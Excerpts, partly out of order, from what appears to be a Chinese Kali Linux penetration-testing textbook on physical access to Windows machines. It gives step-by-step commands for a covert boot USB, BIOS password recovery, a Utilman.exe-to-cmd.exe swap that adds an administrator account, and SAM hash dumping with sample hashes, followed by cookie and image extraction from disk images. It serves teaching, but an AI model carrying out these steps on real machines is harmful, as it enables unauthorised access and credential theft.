    {"text": "未知 9.1.1 可持久化Kali Linux U盘 可持久化Kali Linux U盘用于在目标主机上启动Kali Linux系统，以实施渗透测试。因为使用的是一个小型U盘，所以可以非常隐秘地接触到目标计算机而不容易被发现。用户准备一个U盘，写入Kali Linux系统，然后通过U盘来启动Kali Linux系统的CD Live模式，即可使用该系统中的所有工具实施渗透测试。但是在CD Live模式下，所有的操作无法保存下来。当用户关闭计算机后，所有的操作都将丢失。对于渗透测试者来说，如果想要将获取的一些信息保存下来，可以在该U盘中创建一个持久化分区，用于保存文件。下面将介绍具体的实施方法。 1.创建一个持久化分区 Kali Linux系统的ISO镜像文件写入U盘后，需要在U盘上创建一个分区，用于持久化保存数据。这里将使用DiskGenius工具来创建持久化分区。具体操作步骤如下： （1）启动DiskGenius工具，将显示如图9.1所示的窗口。 （2）在左侧栏中选择U盘设备即可看到该设备的分区情况。从该窗口中可以看到，当前U盘使用了3.1GB的空间，还剩余12GB。接下来将剩余的所有空间都用作持久化分区。选择空闲12.0GB，并选择菜单栏中的“新建分区”命令，将弹出如图9.2所示的对话框。 图9.1 DiskGenius主界面 （3）在该对话框中选择分区类型为“主磁盘分区”，文件系统类型为Ext4(Linux Data)，卷标为Persistence。其他选项都使用默认设置。如果用户想要指定分区大小，则需要修改分区大小中的值，然后单击“确定”按钮，将弹出是否保存更改的对话框，如图9.3所示。 （4）单击“是”按钮，将弹出是否立即格式化分区的对话框，如图9.4所示。 图9.2 新建分区 图9.3 是否保存分区 （5）单击“是”按钮，将开始格式化新建的分区，如图9.5所示。 图9.4 是否立即格式化 图9.5 格式化分区 （6）从图9.5中可以看到，此时正在格式化分区。当格式化完成后，将看到新建的持久化分区，如图9.6所示。 图9.6 持久化分区创建成功 （7）可以看到，新创建了卷标名为Persistence的持久化分区。 2.设置持久化分区 当用户创建好持久化分区后，还需要进行简单设置，确定所有的设置、更新和保存操作都可以持久化。下面将在Kali Linux中设置持久化分区。具体操作步骤如下： （1）在终端执行fdisk -l命令，查看当前的硬盘设备，以找到当前U盘Persistence分区的标识符。执行命令如下： root@daxueba:~# fdisk -l Disk /dev/sda: 80 GiB, 85899345920 bytes, 167772160 sectors Disk model: VMware Virtual S Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disklabel type: dos Disk identifier: 0x1f158a14 Device Boot Start End Sectors Size Id Type /dev/sda1 * 2048 163579903 163577856 78G 83 Linux /dev/sda2 163581950 167770111 4188162 2G 5 Extended /dev/sda5 163581952 167770111 4188160 2G 82 Linux swap / Solaris Disk /dev/sdb: 15.1 GiB, 16231956480 bytes, 31703040 sectors Disk model: Flash DISK Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disklabel type: dos Disk identifier: 0x825c29ed Device Boot Start End Sectors Size Id Type /dev/sdb1 * 64 6547199 6547136 3.1G 17 Hidden HPFS/NTFS /dev/sdb2 6547200 6548671 1472 736K 1 FAT12 /dev/sdb3 6549504 31703039 25153536 12G 83 Linux 以上输出信息显示了当前系统中的所有磁盘分区情况。在本例中，/dev/sda是系统磁盘，/dev/sdb是U盘。从分区大小（12G）和类型（Linux）可以看出，/dev/sdb3正是前面创建的持久化分区（Persistence）。 （2）创建一个目录，用于挂载持久化分区。执行命令如下： root@daxueba:~# mkdir /mnt/persist （3）将分区/dev/sdb3挂载到/mnt/persist目录中。执行命令如下： root@daxueba:~# mount /dev/sdb3 /mnt/persist/ （4）将“/union”内容写入/mnt/persist/persistence.conf文件。执行命令如下： root@daxueba:~# echo \"/ union\" >> /mnt/persist/persistence.conf （5）卸载分区。执行命令如下： root@daxueba:~# umount /dev/sdb3 （6）至此，持久化分区就设置好了。接下来用户可以通过持久化方式启动系统。 3.通过持久化方式启动系统 当用户创建好持久化分区后，即可通过持久化方式启动系统。用户将制作好的U盘插入计算机，并设置使用U盘启动。启动后，将显示Kali Linux引导菜单，如图9.7所示。 图9.7 Kali Linux引导菜单 在该菜单中选择Live USB Persistence命令，即可进入Kali Linux系统。此时，用户打开系统文件，即可看到有一个名为Persistence的目录，然后就可以将需要保存的文件保存到Persistence目录下。 未知 9.1.2 使用Kali Linux Nethunter手机系统 使用Kali Linux Nethunter手机系统，可以公开接触目标计算机。Kali Linux Nethunter是一款基于Android设备构建的渗透测试平台，包括一些特殊和独特的功能。Kali Linux Nethunter手机系统支持无线802.11帧注入、一键MANA AP搭建、HID键盘及BadUSB MITM攻击测试等。为了方便用户使用该系统实施渗透测试，这里将列举出一些Kali Linux Nethunter手机系统的常见功能，如表9.1所示。 表9.1 Kali Linux Nethunter手机系统的常见功能"},
    {"text": "未知 9.2 绕过验证 为了保证计算机系统的安全性，大部分系统都会存在各种各样的验证功能。在Windows系统中，用户可以设置BIOS验证和Windows登录验证。如果要入侵目标主机，则需要绕过BIOS验证和Windows登录验证。本节将介绍绕过验证的方法。 未知 9.2.1 绕过BIOS验证 BIOS的全称为Basic Input Output System，中文意思为基本输入输出系统。计算机在运行时，首先会启动BIOS，然后才会进入操作系统。为了使用户的计算机更安全，用户可以设置BIOS密码。如果要渗透设置BIOS密码的计算机，则需要绕过BIOS验证后才可以入侵到目标主机。下面将介绍绕过BIOS验证的方法。 1.主板断电 绕过BIOS验证最直接的方法就是给主板断电。目前，大部分主板都是使用纽扣电池为BIOS提供电力的，也就是说，如果没有电，它里面的信息就会丢失。当它再次通上电时，BIOS就会回到未设置的原始状态，但此时BIOS也就没有密码了。其中，最常见的断电方法有金属放电法和跳线短接法。 2.BIOS密码获取 当用户通过Kali Linux U盘引导进入系统后，可以使用cmospwd工具直接查看BIOS密码。但是该工具并不是支持所有系统的主板，其支持的系统的主板如表9.2所示。 表9.2 cmospwd支持的主板 【实例9-1】 使用cmospwd命令查看BIOS密码，执行命令如下： root@kali:~# cmospwd CmosPwd - BIOS Cracker 5.0, October 2007, Copyright 1996-2007 GRENIER Christophe, grenier@cgsecurity.org http://www.cgsecurity.org/ Keyboard : US Acer/IBM [ - ][ ] AMI BIOS [] AMI WinBIOS (12/15/93) [] AMI WinBIOS 2.5 [][][][] AMI ? [][ ][][ ][] Award 4.5x/6.0 [10101331][000100][000100] Award 4.5x/6.0 [000100][000100][000100][000100] Award Medallion 6.0 [1200031][1120210][000100][33332123] Award 6.0 [][][][] Compaq (1992) [] Compaq DeskPro [ ][ 2] Compaq [][] DTK []][_43k ] IBM (PS/2, Activa ...) [ ][] IBM Thinkpad boot pwd [] Thinkpad x20/570/t20 EEPROM [][] Thinkpad 560x EEPROM [][] Thinkpad 765/380z EEPROM [][] IBM 300 GL [ ] Packard Bell Supervisor/User [ ] [ ] Press Enter key to continue Phoenix 1.00.09.AC0 (1994) [] Phoenix a486 1.03 [] Phoenix 1.04 [][ ] Phoenix 1.10 A03 CRC pwd err Phoenix 4 release 6 (User) [W ] Phoenix 4.0 release 6.0 [G13] Phoenix 4.05 rev 1.02.943 [][] Phoenix 4.06 rev 1.13.1107 [] Phoenix A08, 1993 [9][f ] Gateway Solo Phoenix 4.0 r6 [][ ] Samsung P25 [][][] Sony Vaio EEPROM [ \"( ] [ S ] Toshiba [RDWETR][RRETDQ] Zenith AMI Supervisor/User [] [] Keyboard BIOS memory [] Award backdoor [` BB2 ] 以上输出信息显示了所有主板对应的BIOS密码。其中，左侧显示的是主板型号，右括号中的内容就是其主板对应的BIOS密码。用户可以根据自己的主板型号找到对应的BIOS密码。 未知 9.2.2 绕过Windows登录验证 Windows系统中提供了一个Utilman辅助工具管理器。Utilman是一些小工具的集合，如放大镜、讲述人和屏幕键盘等。在Windows下，通过使用Win+U组合键即可调用Utilman程序。用户可以将Utilman程序（Utilman.exe）修改为CMD（cmd.exe）程序，并启动CMD程序，然后再创建一个用户并加入到管理员组，这样就可以利用新增加的用户直接登录系统了。 【实例9-2】 下面演示绕过Windows登录验证的方法。具体操作步骤如下： （1）使用可持久化Kali Linux U盘启动Kali Linux系统，如图9.8所示。 图9.8 Kali Linux引导界面 （2）在其中选择Live (amd64)，按Enter键即可启动Kali Linux，如图9.9所示。 图9.9 打开Windows文件系统 （3）在Kali Linux桌面上依次选择Places|Computer选项，将显示当前计算机中的文件列表，如图9.10所示。 图9.10 计算机文件列表 （4）在左侧栏中选择Other Locations选项，将显示该计算机中的所有分区，如图9.11所示。 图9.11 所有分区列表 （5）在该分区列表中找到Windows系统分区。其中，本例中的Windows分区为322GB Volume。单击该分区将显示其文件列表，如图9.12所示。 （6）在其中依次打开Windows|System32文件夹，将显示如图9.13所示的内容。 图9.12 Windows系统分区列表 图9.13 System32目录中的内容 （7）在该文件夹中找到Utilman.exe文件，将该文件重命名为Utilman.old，然后复制该目录中的cmd.exe文件，并将其文件名修改为Utilman.exe。 （8）现在关闭Kali Linux，并启动Windows系统。在登录界面按Win+U组合键，将显示如图9.14所示的窗口。 （9）从该窗口中可以看到，系统打开了一个命令提示符窗口。在该窗口中可以执行一些DOS命令。例如，这里将创建一个用户bob并添加到administrator组，显示如图9.15所示。 图9.14 Windows登录窗口 图9.15 添加用户 （10）从该窗口显示的信息中可以看到，成功创建了用户bob并将其添加到了administrator组中。接下来，用户重新启动系统后，即可使用用户名bob登录系统并执行任意操作了。 未知 9.3 提取信息 如果用户使用可持久化Kali Linux U盘物理入侵到目标主机上，则可以利用Kali Linux系统中的工具提取Windows主机的信息，如用户密码哈希值和注册表信息等。本节将介绍提取Windows系统信息的方法。"},
    {"text": "未知 9.3.1 提取哈希值 在Windows系统中，密码信息主要保存在C:\\Windows\\System32\\config下的SYSTEM和SAM文件中。Kali Linux提供了一款专用工具samdump2，可以用来获取存储在Windows上的用户账号和密码哈希值。下面将介绍提取哈希值的方法。 【实例9-3】 从Windows主机中提取哈希密码。具体操作步骤如下： （1）在Windows主机上，使用U盘介质进入Kali系统的Live模式并挂载Windows磁盘。其中，本例中Windows磁盘的分区名为/dev/sda1。这里将该分区挂载到/mnt目录中。执行命令如下： root@daxueba:~# ntfs-3g /dev/sda1 /mnt/ 执行以上命令后，将不会输出任何信息。 （2）使用samdump2命令提取Windows的密码哈希值。其中，Windows系统的密码保存在C:\\Windows\\System32\\config下的SYSTEM和SAM文件中。执行命令如下： root@daxueba:~# cd /mnt/Windows/System32/config/ #切换目录 root@daxueba:/mnt/Windows/System32/config# samdump2 SYSTEM SAM #提取哈希值 执行以上命令后，将输出如下信息： Administrator::500:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4::: *disabled* Guest::501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931 b73c59d7e0c089c0::: Test::1001:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4::: HomeGroupUser$::1002:aad3b435b51404eeaad3b435b51404ee:0b7301e26080a2be8d3e804d7f4102c0::: 从输出的信息中可以看到Windows中所有的用户名及对应的哈希值。这里可以看出，该Windows系统中有4个用户（加粗部分）。每行信息又分为4个部分，分别为用户名、RID、LM-HASH值和NT-HASH值。例如，第一行信息中，Administrator表示用户名，500表示用户的RID，aad3b435b51404eeaad3b435b51404ee表示该用户的LM算法的哈希值，32ed87bdb5fdc5e9cba88547376818d4表示该用户的NTLM算法的哈希值。 （3）将提取的哈希密码保存到winhash.txt文件中，以方便进行破解。执行命令如下： root@daxueba:/mnt/Windows/System32/config# samdump2 SYSTEM SAM > winhash. txt 提示： 在提取Windows 7系统中的用户密码的哈希值时，提取出来的LM算法的哈希值是无效的，只需要使用NTLM算法的哈希值即可。"},
    {"text": "通过获取这几个文件，就可以使用RegRipper工具从中提取注册表信息。 【实例9-4】 使用图形化界面工具RegRipper提取注册表数据。 具体操作步骤如下： （1）启动RegRipper工具。 执行命令如下： root@daxueba:~# regripper 执行以上命令后，将显示如图9.16所示的窗口。"},
    {"text": "执行命令如下： root@daxueba:~/桌面# cat sam.txt samparse v.20120722 (SAM) Parse SAM file for user & group mbrshp info User Information #用户信息 ------------------------- Username : Administrator [500] #用户名称 Full Name : #全名 User Comment : ¡{t¡{:g(ßW) #注释 v Qn^7b Account Type : Default Admin User #账户类型 Account Created : Wed Jan 9 05:55:29 2013 Z #账户创建时间 Last Login Date : Sun Jun 11 06:37:20 2017 Z #最后登录时间 Pwd Reset Date : Thu Mar 30 07:51:07 2017 Z #密码重置时间 Pwd Fail Date : Sun Jun 11 06:37:12 2017 Z #密码过期时间 Login Count : 108 #登录次数 --> Password does not expire --> Password not required --> Normal user account Username : Guest [501] Full Name : User Comment : eg¾[¿î¡{:gb¿îßW v Qn^7b Account Type : Default Guest Acct Account Created : Wed Jan 9 05:55:29 2013 Z Last Login Date : Never Pwd Reset Date : Never Pwd Fail Date : Never Login Count : 0 --> Password does not expire --> Account Disabled --> Password not required --> Normal user account Username : best [1007] Full Name : best User Comment : Account Type : Custom Limited Acct Account Created : Tue Aug 23 08:42:43 2016 Z Last Login Date : Tue Aug 23 09:15:13 2016 Z Pwd Reset Date : Tue Aug 23 08:42:43 2016 Z Pwd Fail Date : Thu May 18 05:32:19 2017 Z Login Count : 0 --> Normal user account ------------------------- Group Membership Information #组成员信息 ------------------------- Group Name : Users [7] #组名 LastWrite : Thu May 18 05:30:45 2017 Z #最后写入时间 Group Comment : 2bk(u7bÛL gabàea #组注释 vû|ß~ôV vôf9e ÿFO/fïSåNÐL'Yè^(u z^ Users : #组用户信息 S-1-5-21-3554026619-2646852627-1300022517-500 S-1-5-21-3554026619-2646852627-1300022517-1007 S-1-5-4 S-1-5-21-3554026619-2646852627-1300022517-1012 S-1-5-11 S-1-5-21-3554026619-2646852627-1300022517-1010 S-1-5-21-3554026619-2646852627-1300022517-1011 Group Name : IIS_IUSRS [1] LastWrite : Fri Apr 14 09:05:24 2017 Z g¡RO(uComment : Internet áOo` v QnÄ~0 Users : S-1-5-21-3554026619-2646852627-1300022517-1007 …//省略部分内容 Group Name : Backup Operators [1] LastWrite : Fri Apr 14 09:04:41 2017 Z Group Comment : YýNÍd\\OXT:NNYýNbØeöNïSåNÿfãN [hQP6R Users : S-1-5-21-3554026619-2646852627-1300022517-1010 Analysis Tips: - For well-known SIDs, see http://support.microsoft.com/kb/243330 - S-1-5-4 = Interactive - S-1-5-11 = Authenticated Users - Correlate the user SIDs to the output of the ProfileList plugin ---------------------------------------- 从以上输出信息中可以看到，成功从注册表文件中提取到了用户和用户组信息。"},
    {"text": "执行命令如下： root@kali:~# fdisk -l Disk /dev/sda: 300 GiB, 322122547200 bytes, 629145600 sectors Disk model: VMware Virtual S Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disklabel type: dos Disk identifier: 0xb843f90d Device Boot Start End Sectors Size Id Type /dev/sda1 * 2048 206847 204800 100M 7 HPFS/NTFS/exFAT /dev/sda2 206848 629143551 628936704 299.9G 7 HPFS/NTFS/exFAT Disk /dev/sdb: 300 GiB, 322122547200 bytes, 629145600 sectors Disk model: VMware Virtual S Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disklabel type: dos Disk identifier: 0xed361dae Device Boot Start End Sectors Size Id Type /dev/sdb1 * 2048 419426303 419424256 200G 7 HPFS/NTFS/exFAT /dev/sdb2 419428350 629143551 209715202 100G 5 Extended /dev/sdb5 419428352 624953343 205524992 98G 83 Linux /dev/sdb6 624955392 629143551 4188160 2G 82 Linux swap / Solaris 以上输出信息显示了当前系统中的磁盘分区情况。"},
    {"text": "（2）创建挂载点/mnt/win，用于挂载Windows磁盘，执行命令如下： root@daxueba:~# mkdir /mnt/win （3）将Windows磁盘挂载到Linux系统中，执行命令如下： root@daxueba:~# mount /dev/sda2 /mnt/win （4）使用pwdump工具从SYSTEM和SAM文件中提取密码信息。"},
    {"text": "执行命令如下： root@daxueba:~# cd /mnt/win/Windows/System32/config/ root@daxueba:/mnt/win/Windows/System32/config/# pwdump SYSTEM SAM Administrator::500:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4::: *disabled* Guest::501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931 b73c59d7e0c089c0::: Test::1001:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4::: HomeGroupUser$::1002:aad3b435b51404eeaad3b435b51404ee:0b7301e26080a2be8d3e804d7f4102c0::: 从输出的信息中可以看到Windows中所有的用户名及对应的哈希值。"},
    {"text": "未知 9.3.3 制作磁盘镜像 为了便于后期对数据进行分析，用户可以将磁盘制作为镜像文件。Kali Linux提供了一款专业的磁盘镜像工具Guymager。其中，支持的磁盘镜像格式有dd、EWF和AFF。用户可以根据自己的需要选择制作对应的磁盘镜像格式。下面将介绍具体的实现方法。 【实例9-6】 使用Guymager工具制作磁盘镜像。具体操作步骤如下： （1）启动Guymager工具，将显示如图9.19所示的窗口。 （2）在该窗口中共显示了11列信息，分别为Serial nr.（串行号）、Linux device（设备名称）、Model（设备型号）、State（状态）、Size（大小）、Hidden areas（隐藏分区）、Bad sector（坏扇区）、Progress（制作进度）、Average speed[%]（平均速度）、Time remaining（剩余时间）和FIFO queues usage[%]（FIFO使用情况）。从该窗口的Linux device列可以看到当前系统中的所有磁盘。此时，用户可以选择要制作的磁盘。其中，本例中选择的设备名为/dev/sda磁盘，右击该设备名称将弹出一个右键快捷菜单，如图9.20所示。 图9.19 Guymager主窗口 图9.20 弹出的快捷菜单 （3）选择Acquire image命令，将弹出制作镜像的设置对话框，如图9.21所示。 （4）从该对话框中可以看到，用户可以生成dd镜像或Exx镜像。其中，本例中将选择生成dd镜像，即选择Linux dd raw image(file extension.dd or.xxx)单选按钮，并且默认启用了分割镜像文件，每个文件大小为2047MiB。如果用户不想分割的话，将Split image files复选框中的对勾去掉即可。为了提高分析镜像文件的效率，建议将其进行分割。然后在Destination部分指定镜像的保存位置和镜像文件名；在Hash calculation/verification部分可以设置使用的哈希验证方法，这里使用默认设置。单击Start按钮，将开始制作磁盘镜像，如图9.22所示。 图9.21 设置磁盘镜像信息 图9.22 正在制作磁盘镜像 （5）从State列可以看到，此时的状态为Running（正在运行）。在底部的消息框中显示了该磁盘及磁盘镜像的详细信息，如磁盘大小、生成的镜像文件名、速率、时间及哈希计算方法等。例如，磁盘大小为300GiB、扇区大小为512、镜像文件为test.dd、信息文件为test.info等。当制作完成后，将显示如图9.23所示的窗口。 图9.23 制作完成 （6）从State列可以看到，状态显示为Finished-Verified & ok（完成，验证ok）。由此可以说明，磁盘镜像制作完成，并且验证结果也没有问题。由于前面启用了分割镜像文件，所以生成的镜像文件都进行了编号，分别是test.000、test.001、test.002等。接下来，用户利用磁盘镜像分析工具，即可分析该磁盘镜像中的数据。 未知 2.1 准备工作 在扫描网络主机之前，需要做一些准备工作，如探测网络拓扑、确认网络范围及激活休眠主机等。本节将介绍如何做好这些准备工作。 未知 9.4 分析镜像数据 当用户制作好磁盘镜像后，就可以对其镜像数据进行分析，如分析浏览器数据、图片视频数据和缩略图数据等。本节将介绍分析镜像数据的方法。 未知 9.4.1 分析浏览器数据 如果用户连接到网络，通常会使用浏览器来访问一些网站查阅资料，或者登录邮箱、博客等发布信息。此时，用户通过分析浏览器数据，即可了解目标用户经常访问的一些站点及登录某站点的Cookie信息等。Kali Linux提供了一款名为Galleta的工具，可以提取IE浏览器中的Cookie信息。其中，该工具的语法格式如下： galleta <options> <filename> Galleta工具支持的选项及含义如下： ·-d：指定字段分隔符，默认为TAB。 ·filename：指定分析的Cookie文件。 【实例9-7】 使用Galleta工具从IE浏览器中提取Cookie信息。执行命令如下： root@daxueba:~# galleta LF7WOR0P.txt Cookie File: LF7WOR0P.txt SITE VARIABLE VALUE CREATION TIME EXPIRE TIME FLAGS 163.com/ Province 0349 06/09/2017 06/23/2017 1536 15:42:57 15:50:35 163.com/ City 0351 06/09/2017 06/23/2017 1536 15:42:57 15:50:35 163.com/ NTES_hp_ old 06/09/2017 06/10/2017 1600 textlink1 15:43:01 15:43:01 163.com/ __s_ 1 06/09/2017 12/06/2017 1088 15:43:01 15:43:01 163.com/ vjuids -1c864b7ae.15c8bce79 06/09/2017 01/01/2038 1600 bb.0.39ae3a8147453c 15:43:03 08:00:00 163.com/ vjlast 1496994184. 06/09/2017 01/01/2038 1600 1496994184.30 15:43:03 08:00:00 163.com/ _ntes_nnid efeacdba8b31e784cd1 06/09/2017 05/16/2117 1600 f1de82c54ca8c, 15:43:03 15:43:03 1496994183870 163.com/ _ntes_nuid efeacdba8b31e784cd 06/09/2017 06/04/2037 1024 1f1de82c54ca8c 15:43:03 15:50:41 163.com/ P_INFO smz3181961@163.com| 06/09/2017 06/09/2018 1024 1496994665|0|mail163| 15:43:28 15:51:04 00&99|shx&1496993902&mail163#shx&140100#10#0#0| 150427&0|mail163|smz3181961@163.com 以上输出信息共显示了6列，分别是SITE（站点）、VARIBLE（变量）、VALUE（值）、CREATION TIME（创建时间）、EXPIRE TIME（过期时间）和FLAGS（标志）。从SITE列可以看到目标用户访问过的站点，从VARIBLE和VALUE列分别可以看到访问站点的信息及对应的值。例如，第一行信息中VARIABLE的值为Province，表示省份；VALUE的值为0349，表示省的区号等。"},
    {"text": "未知 9.4.2 分析图片视频数据 用户一般会在计算机中保存重要的图片和视频，因此可以从镜像分析中提取目标用户主机中的图片和视频数据进行分析并查看具体的信息。Kali Linux中提供了一个recoverjpeg工具和一个recovermov工具，可以分别用来从镜像文件中提取图片和视频。下面将介绍具体的方法。 1.用recoverjpeg工具 recoverjpeg是一款可以从磁盘或者文件镜像中直接识别并提取JPEG图片和mov视频的工具。在提取图片文件时，该工具可以忽略太小的图片，并去除重复的图片。为了方便后期调查，该工具还支持对图片按照时间顺序进行排序。该工具的语法格式如下： recoverjpeg [options] file|device recoverjpeg工具常用的命令选项及含义如下： ·-b blocksize：设置块大小，默认值为512。当设置为1时，可以尽可能地提取所有的小文件。 ·-r readsize：设置一次读取镜像文件内容的大小，默认值为128MB。 ·-S skipsize：设置跳过的页面大小。 ·-m maxsize：设置提取图片的最大尺寸，默认值为6MB。 ·-s cutoff：设置提取的阈值。如果小于该值将被忽略。 ·-o directory：指定提取的图片文件保存位置。 ·-d formatstring：设置目录格式字符串。默认将使用当前目录。当设置该选项为0时，将用于第100个图片；如果设置为1，将提取100以后的图片，以此类推。 ·-f formatstring：设置文件名格式字符串。默认格式为image%05d.jpg。 ·-i index：设置图片起始编号，默认为0。 【实例9-8】 从镜像文件test.000中提取图片。执行命令如下： root@daxueba:~# recoverjpeg -b 1 test.000 执行以上命令后，将开始对目标文件系统进行分析，以获取其图片文件。显示信息如下： Recovered files: 0 Analyzed: 366.0 MiB 从显示的信息中可以看到正在恢复文件。目前还没有提取到任何文件，并且已经分析了目标文件系统的366MiB的空间了。当分析完成后，将显示提取的图片数如下： Restored 239 pictures 从输出的信息中可以看到，从镜像文件中提取到了239个图片，而且默认是保存在当前目录中。 【实例9-9】 将提取出的图片保存到/test目录下。执行命令如下： root@daxueba:~# recoverjpeg -b 1 test.000 -o /test Restored 239 pictures 从输出的信息中可以看到，提取到了239个图片。此时，在/test目录中即可看到提取到的所有图片，如图9.24所示。 图9.24 提取到的图片 2.使用recovermov工具 recovermov是一款可以从镜像文件或磁盘中提取mov视频文件的工具。其中，该工具的语法格式如下： recovermov [options] file|device recovermov工具支持的命令选项及含义如下： ·-b blocksize：设置文件系统块大小，默认值为512。如果设置为1，则尽可能提取所有的视频文件。 ·-n base_name：设置保存文件基础名称，默认为video_。 ·-h：显示帮助信息。 ·-i index：设置保存文件的起始编号，默认为0。 ·-o directory：指定提取mov视频文件的保存位置。 ·-V：显示版本信息。 【实例9-10】 从镜像文件test.000中提取视频。执行命令如下： root@daxueba:~# recovermov -b 1 /dev/sdb1 mov file detected writing to video_1.mov recovery of video_1.mov finished #恢复video_1.mov完成 mov file detected writing to video_2.mov recovery of video_2.mov finished #恢复video_2.mov完成 从输出的信息中可以看到提取了两个mov视频文件。其中，提取的视频文件名称分别是video_1.mov和video_2.mov，并默认保存在当前目录中。 【实例9-11】 将提取到的mov视频文件保存到/test目录中。执行命令如下： root@daxueba:~# recovermov -b 1 /dev/sdb1 -o /test 未知 9.4.3 分析缩略图数据 在Windows系统中，为了方便用户快速浏览图片，系统会自动为每个图片生成缩略图。缩略图默认是保存在同目录的Thumbs.db文件中。当图片文件被删除后，Thumbs.db关联的缩略图并不会被删除。Kali Linux提供了一款名为vinetto的工具，可以从Thumbs.db文件中提取缩略图。其中，该工具的语法格式如下： vinetto <options> file vinetto工具支持的命令选项及含义如下： ·-o DIR：指定保存缩略图的目录。 ·-H：指定写入HTML报告的目录。 ·-U：使用UTF-8编码格式。 ·-s：以缩略图名称创建符号链接。 【实例9-12】 从Thumbs.db文件中提取缩略图并指定保存到/test目录中。执行命令如下： root@daxueba:~# vinetto -o /test Thumbs.db ** Warning: Cannot find \"Image\" module. Vinetto will only extract Type 2 thumbnails. Root Entry modify timestamp : Wed Dec 15 17:34:36 2010 ------------------------------------------------------ 0001 Tue Nov 23 15:14:48 2010 rssdefault.png 0002 Wed Dec 15 17:34:22 2010 rss.png ------------------------------------------------------ 2 Type 2 thumbnails extracted to /test 从输出的信息中可以看到，提取到了两个缩略图。其中，这两个缩略图的名称分别为rssdefault.png和rss.png，而且这两个缩略图将会保存到/test/.thumbs目录中。"},
    {"text": "未知 2.1.1 探测网络拓扑 网络拓扑就是一个主机所在的网络结构环境。通过探测网络拓扑，可以确定现有的网络环境和联网方式等。这里用户可以使用tracerouter命令，实施路由跟踪，以找到每一级的路由地址，进而发现网络拓扑结构。例如，通过跟踪发往公网的数据包，发现每级路由，从而推测上级各层网络。 【实例2-1】 跟踪当前主机到目标主机61.135.169.121的路由。执行命令如下： root@daxueba:~# traceroute 61.135.169.121 traceroute to 61.135.169.121 (61.135.169.121), 30 hops max, 60 byte packets 1 192.168.1.1 (192.168.1.1) 1.415 ms 1.351 ms 1.345 ms 2 10.188.0.1 (10.188.0.1) 4.171 ms 4.166 ms * 3 41.5.220.60.adsl-pool.sx.cn (60.220.5.41) 14.161 ms 14.348 ms 14. 345 ms 4 169.9.220.60.adsl-pool.sx.cn (60.220.9.169) 51.571 ms 253.8.220.60. adsl-pool.sx.cn (60.220.8.253) 88.237 ms 169.9.220.60.in-addr.arpa (60. 220.9.169) 51.584 ms 5 219.158.20.93 (219.158.20.93) 26.030 ms 219.158.18.157 (219.158.18. 157) 26.568 ms 219.158.7.137 (219.158.7.137) 25.879 ms 6 124.65.194.18 (124.65.194.18) 28.771 ms 125.33.186.10 (125.33.186.10) 26.797 ms 61.49.214.14 (61.49.214.14) 21.991 ms 7 124.65.59.222 (124.65.59.222) 23.964 ms 61.148.152.18 (61.148.152.18) 30.361 ms 61.148.147.254 (61.148.147.254) 56.032 ms 8 123.125.248.126 (123.125.248.126) 25.841 ms 202.106.43.174 (202.106. 43.174) 46.643 ms 123.125.248.102 (123.125. 248.102) 17.573 ms 9 * * * 10 * * * 11 * * * 12 * * * 13 * * * 14 * * * 15 * * * 16 * * * 17 * * * 18 * * * 19 * * * 20 * * * 21 * * * 22 * * * 23 * * * 24 * * * 25 * * * 26 * * * 27 * * * 28 * * * 29 * * * 30 * * * 从输出的信息中可以看到跟踪到的路由条目。其中，每个记录就是一跳，每跳表示一个网关。此外还可以看到每行有3个时间，单位是ms。这3个时间表示探测数据包向每个网关发送3个数据包，网关响应后返回的时间。还有一些行是以星号表示的，出现这种情况，可能是防火墙封掉了ICMP的返回消息，所以用户无法获取相关的数据包返回数据。从显示的记录中可以看到，经过的路由有192.168.1.1、10.188.0.1、60.220.5.41等，由此可以推测网络层次结构如图2.1所示。 图2.1 网络层次结构 提示： 在VMware的NAT模式下，Traceroute运行存在问题，无法展现上一级的路由信息。 未知 1.1 Windows体系结构 Microsoft Windows操作系统是美国微软公司研发的一套操作系统。Windows系统有很多个版本，如家庭版、专业版、企业版和服务器版等。其中，一些系统有多个版本，如Windows 2000有个人版、服务器版；一些系统是专业的服务器版本，如Windows Server 2003/2008/2012。所以，为了提高Windows渗透测试效率，需要了解Windows的体系结构。本节将介绍Windows体系结构的相关知识。"},
    {"text": "未知 2.1.2 确认网络范围 根据获取的路由地址，基于IP地址分类标准，渗透测试人员可以推算网络范围。下面讲解网络范围计算方式。 1.IP地址分类 IP地址是一个32位的二进制数，通常被分隔为4个8位二进制数，也就是4个字节。IP地址通常用“点分十进制”表示成a.b.c.d的形式。其中，a、b、c、d都是0~255之间的十进制整数。 根据用途和安全性级别的不同，IP地址分为公网IP地址和私有IP地址。其中，公网IP地址在互联网中使用，可以在互联网中随意访问；私有IP地址只能在内部网中使用，只有通过代理服务器才能与Internet通信。 2.私有IP地址范围 一些企业或家庭内部组建局域网用的IP，都属于私有IP地址。默认情况下，一个IP地址由网络ID和主机ID两部分组成。通过IP地址和掩码进行与运算，可以划分哪些IP地址属于网络ID，哪些IP地址属于主机ID。其中，网络ID相同的计算机属于同一网络；网络ID不同的计算机则属于不同网络。因此，本地网络根据子网掩码，可以直接计算出地址范围。但是上级局域网则无法计算，只能根据常见的私有IP地址范围进行猜测。其中，A类私有IP地址范围为10.0.0.0～10.255.255.255，B类私有IP地址范围为172.16.0.0～172.31.255.255，C类私有IP地址范围为192.168.0.0～192.168.255.255。为了方便用户推算私有IP地址范围，这里列举了一个CIDR和子网掩码对照表，如表2.1所示。 表2.1 CIDR对照表 图2.1 网络层次结构 